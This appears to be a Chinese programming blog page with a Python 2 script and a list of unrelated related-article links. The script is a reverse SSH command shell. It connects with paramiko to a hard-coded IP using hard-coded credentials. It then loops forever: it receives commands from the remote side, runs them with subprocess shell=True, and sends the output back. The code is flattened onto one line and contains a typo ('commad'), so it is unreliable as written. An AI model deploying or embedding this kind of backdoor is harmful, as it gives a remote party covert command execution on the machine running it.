python
2016-06-07 22:04
597 查看
import threading#引入 线程包 import paramiko#引入ssh 包 import subprocess#引入 子进程 def ssh_command(ip,user,passwd,command):#运行 参数 ip,user ,passwd,command client = paramiko.SSHClient()#创建 连接 对象 client.set_missing_host_key_policy(paramiko.AutoAddPolicy())# 设置自动 client.connect(ip,username=user,password=passwd)#连接开始 ssh_session = client.get_transport().open_session()#进行了 open 处理 if ssh_session.active:# 如果正确了 ssh_session.send(commad)#发送信息 print ssh_session.recv(1024)# 接收信息 while True: command = ssh_session.recv(1024)#接收信息 try: cmd_output = subprocess.check_output(command,shell=True)#子节点运行 ssh_session.send(cmd_output)#发送数据 except Exception,e: ssh_session.send(str(e))#报错 client.close()#关闭 return ssh_command('192.168.100.130','justin','lovesthepython','ClientConnect')
相关文章推荐
- Linux任务前后台的切换
- 可以恢复flashfxp密码的FlashFXP Password Recovery v1.0.160.2006 汉化版
- You must SET PASSWORD before executing this statement的解决方法
- asp中command的在单条记录时,有些字段显示为空的问题
- Delphi Command模式
- MYSQL安装时解决要输入current root password的解决方法
- php设计模式 Command(命令模式)
- Linux 入门常用命令 password ― 修改密码,改变用户
- 解决bash: mysql: command not found 的方法
- 模仿password输入框的实现代码
- bash scp command not found的解决方法
- PassWord输入框代码分享
- 基于JS实现密码框(password)中显示文字提示功能代码
- mysql 忘记密码,如何重新设置新密码(mysql5.6已测试过OK)
- 如何让django方法自动地定期执行
- sort命令
- jenkins 报错E170001
- Mysql常用操作
- ADO.NET与抽水的故事 系列三——抽水机—Command
- ***常规思路